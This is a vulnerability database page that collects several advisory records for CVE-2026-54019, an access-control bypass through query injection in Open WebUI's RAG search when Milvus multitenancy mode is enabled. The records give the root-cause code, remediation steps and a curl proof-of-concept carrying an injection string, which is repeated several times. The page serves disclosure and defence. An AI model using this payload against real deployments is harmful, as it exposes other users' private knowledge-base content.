CVE-2026-54019 (GCVE-0-2026-54019)

Vulnerability from cvelistv5 – Published: 2026-06-23 16:41 – Updated: 2026-06-23 17:53

Title

Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping. This is caused by an incomplete fix for CVE-2026-44560 This vulnerability is fixed in 0.9.6.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-23 17:53 UTC

CWE

CWE-862 - Missing Authorization
CWE-943 - Improper Neutralization of Special Elements in Data Query Logic

Assigner

GitHub_M mitre root Scorecard

References

1 reference

URL	Tags
https://github.com/open-webui/open-webui/security…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
open-webui	open-webui	Affected: < 0.9.6

Show details on NVD website

JSON

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EUVD-2026-329662

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 07:48

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T07:48:43.658685+00:00",
  "id": "EUVD-2026-329662"
}

FKIE_CVE-2026-54019

Vulnerability from fkie_nvd - Published: 2026-06-23 18:18 - Updated: 2026-06-25 14:27

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc	Exploit, Mitigation, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	openwebui	open_webui	*

JSON

To clipboard

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GHSA-P5CP-R7RG-QPXC

Vulnerability from github – Published: 2026-06-17 17:57 – Updated: 2026-07-20 21:08

Summary

Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode

Details

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

This is a bypass of the fix for:

GHSA-h36f-rqpx-j5wx
CVE-2026-44560
"Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.

An authenticated non-admin user can query:

x' or resource_id != '' or resource_id == 'x

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

resource_id == 'x' or resource_id != '' or resource_id == 'x'

That returns private knowledge-base chunks belonging to other users.

Affected Configuration

Tested on:

Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true

This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.

Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

Root Cause

ACL permits unknown collection names:

# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
    validated.add(name)

Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:

# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"

Affected paths include:

POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc

PoC

Request:

curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  --data-binary @- <<'JSON'
{
  "collection_names": [
    "x' or resource_id != '' or resource_id == 'x"
  ],
  "query": "anything",
  "k": 10,
  "hybrid": false
}
JSON

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

Remediation

Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
Escape or parameterize Milvus expression values before building filters.
Reject collection names containing quotes/control characters unless they match a known internal format.
Add a regression test for this payload in Milvus multitenancy mode:

x' or resource_id != '' or resource_id == 'x

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

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    "severity": "MODERATE"
  },
  "details": "# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == \u0027x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\u0027\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == \u0027{resource_id}\u0027\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- \u003c\u003c\u0027JSON\u0027\n{\n  \"collection_names\": [\n    \"x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users\u0027 knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```",
  "id": "GHSA-p5cp-r7rg-qpxc",
  "modified": "2026-07-20T21:08:21Z",
  "published": "2026-06-17T17:57:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54019"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2750.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode"
}

PYSEC-2026-2750

Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:05

Details

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

This is a bypass of the fix for:

GHSA-h36f-rqpx-j5wx
CVE-2026-44560
"Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

An authenticated non-admin user can query:

x' or resource_id != '' or resource_id == 'x

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

resource_id == 'x' or resource_id != '' or resource_id == 'x'

That returns private knowledge-base chunks belonging to other users.

Affected Configuration

Tested on:

Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true

This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.

Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

Root Cause

ACL permits unknown collection names:

# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
    validated.add(name)

Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:

# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"

Affected paths include:

POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc

PoC

Request:

curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  --data-binary @- <<'JSON'
{
  "collection_names": [
    "x' or resource_id != '' or resource_id == 'x"
  ],
  "query": "anything",
  "k": 10,
  "hybrid": false
}
JSON

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

Remediation

Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
Escape or parameterize Milvus expression values before building filters.
Reject collection names containing quotes/control characters unless they match a known internal format.
Add a regression test for this payload in Milvus multitenancy mode:

x' or resource_id != '' or resource_id == 'x

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Impacted products

Name	purl
open-webui	pkg:pypi/open-webui

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui",
        "purl": "pkg:pypi/open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.124",
        "0.1.125",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.17.dev2",
        "0.3.17.dev3",
        "0.3.17.dev4",
        "0.3.17.dev5",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.27.dev1",
        "0.3.27.dev2",
        "0.3.27.dev3",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.30.dev1",
        "0.3.30.dev2",
        "0.3.31",
        "0.3.31.dev1",
        "0.3.32",
        "0.3.33",
        "0.3.33.dev1",
        "0.3.34",
        "0.3.35",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.0.dev1",
        "0.4.0.dev2",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.6.dev1",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.0.dev1",
        "0.5.0.dev2",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.3",
        "0.5.3.dev1",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.10",
        "0.6.11",
        "0.6.12",
        "0.6.13",
        "0.6.14",
        "0.6.15",
        "0.6.16",
        "0.6.18",
        "0.6.19",
        "0.6.2",
        "0.6.20",
        "0.6.21",
        "0.6.22",
        "0.6.23",
        "0.6.24",
        "0.6.25",
        "0.6.26",
        "0.6.26.dev1",
        "0.6.27",
        "0.6.28",
        "0.6.29",
        "0.6.3",
        "0.6.30",
        "0.6.31",
        "0.6.32",
        "0.6.33",
        "0.6.34",
        "0.6.35",
        "0.6.36",
        "0.6.37",
        "0.6.38",
        "0.6.39",
        "0.6.4",
        "0.6.40",
        "0.6.41",
        "0.6.42",
        "0.6.43",
        "0.6.5",
        "0.6.6",
        "0.6.6.dev1",
        "0.6.7",
        "0.6.8",
        "0.6.9",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.8.1",
        "0.8.10",
        "0.8.11",
        "0.8.12",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.6",
        "0.8.7",
        "0.8.8",
        "0.8.9",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.9.3",
        "0.9.4",
        "0.9.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54019",
    "GHSA-p5cp-r7rg-qpxc"
  ],
  "details": "# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == \u0027x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\u0027\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == \u0027{resource_id}\u0027\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- \u003c\u003c\u0027JSON\u0027\n{\n  \"collection_names\": [\n    \"x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users\u0027 knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```",
  "id": "PYSEC-2026-2750",
  "modified": "2026-07-13T16:05:14.322014Z",
  "published": "2026-07-13T15:46:19.863485Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/open-webui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54019"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-54019 (GCVE-0-2026-54019)

EUVD-2026-329662

FKIE_CVE-2026-54019

GHSA-P5CP-R7RG-QPXC

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

Affected Configuration

Impact

Root Cause

PoC

Remediation

PYSEC-2026-2750

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

Affected Configuration

Impact

Root Cause

PoC

Remediation

Tags

Sightings

Nomenclature

Related by attack behaviour